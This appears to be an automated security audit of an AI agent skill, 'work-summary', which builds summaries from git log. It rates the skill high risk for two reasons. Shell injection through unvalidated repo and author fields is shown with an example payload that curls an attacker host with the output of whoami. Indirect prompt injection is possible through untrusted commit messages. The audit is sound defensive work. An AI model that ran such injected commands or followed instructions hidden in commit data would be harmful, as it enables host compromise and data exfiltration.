work-summary

Fail

Audited by Gen Agent Trust Hub on Mar 21, 2026

Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill instructions direct the agent to execute shell commands using unvalidated user input for repository paths and author names. Specifically, the command cd <repo> && git log --author="<author>" ... allows an attacker to inject shell metacharacters. A malicious input like ; curl http://attacker.com/$(whoami) # in the repo or author field would lead to arbitrary command execution on the host system.
  • [PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection due to its processing of external, untrusted commit history.
  • Ingestion points: Commit messages and repository data are ingested via git log commands in SKILL.md.
  • Boundary markers: The instructions do not specify any delimiters or safety markers to differentiate between the agent's instructions and the content of the commit messages.
  • Capability inventory: The agent has the ability to execute shell commands, read filesystem paths, and generate structured summaries based on the ingested content.
  • Sanitization: No sanitization or escaping is performed on the commit messages before the agent is asked to group and categorize them, allowing embedded malicious instructions within a commit to potentially influence the agent's logic.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Mar 21, 2026, 04:51 PM